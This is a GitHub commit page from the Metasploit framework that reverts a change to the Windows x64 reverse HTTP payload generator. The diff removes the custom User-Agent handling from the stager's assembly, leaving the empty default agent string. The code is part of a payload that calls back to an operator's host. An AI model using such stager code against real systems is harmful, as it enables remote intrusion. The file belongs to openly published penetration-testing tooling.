Skip to content

Commit

Permalink
Revert "Landing #19725, fixed incorrect processing of HTTP User Agent…
Browse files Browse the repository at this point in the history
… parameter in x64 reverse HTTP payload (Windows)"

This reverts commit ebf7379, reversing
changes made to 50b1259.
  • Loading branch information
msutovsky-r7 committed Dec 16, 2024
1 parent ebf7379 commit add8a7b
Showing 1 changed file with 2 additions and 15 deletions.
17 changes: 2 additions & 15 deletions lib/msf/core/payload/windows/x64/reverse_http_x64.rb
Original file line number Diff line number Diff line change
Expand Up @@ -62,7 +62,7 @@ def generate(opts={})
# Otherwise default to small URIs
conf[:url] = luri + generate_small_uri
end

generate_reverse_http(conf)
end

Expand Down Expand Up @@ -168,7 +168,6 @@ def asm_generate_ascii_array(str)
# @option opts [String] :url The URI to request during staging
# @option opts [String] :host The host to connect to
# @option opts [Integer] :port The port to connect to
# @option opts [String] :ua The User Agent the payload will use
# @option opts [String] :exitfunk The exit method to use if there is an error, one of process, thread, or seh
# @option opts [String] :proxy_host The optional proxy server host to use
# @option opts [Integer] :proxy_port The optional proxy server port to use
Expand Down Expand Up @@ -246,21 +245,9 @@ def asm_reverse_http(opts={})
internetopen:
push rbx ; stack alignment
push rbx ; NULL pointer
mov rcx, rsp ; lpszAgent ("")
^

if opts[:ua]
asm << %Q^
call load_useragent
db"#{opts[:ua]}", 0x00
load_useragent:
pop rcx ; lpszAgent (stack pointer)
^
else
asm << %Q^
mov rcx, rsp ; lpszAgent("")
^
end

if proxy_enabled
asm << %Q^
push 3
Expand Down

0 comments on commit add8a7b

Please sign in to comment.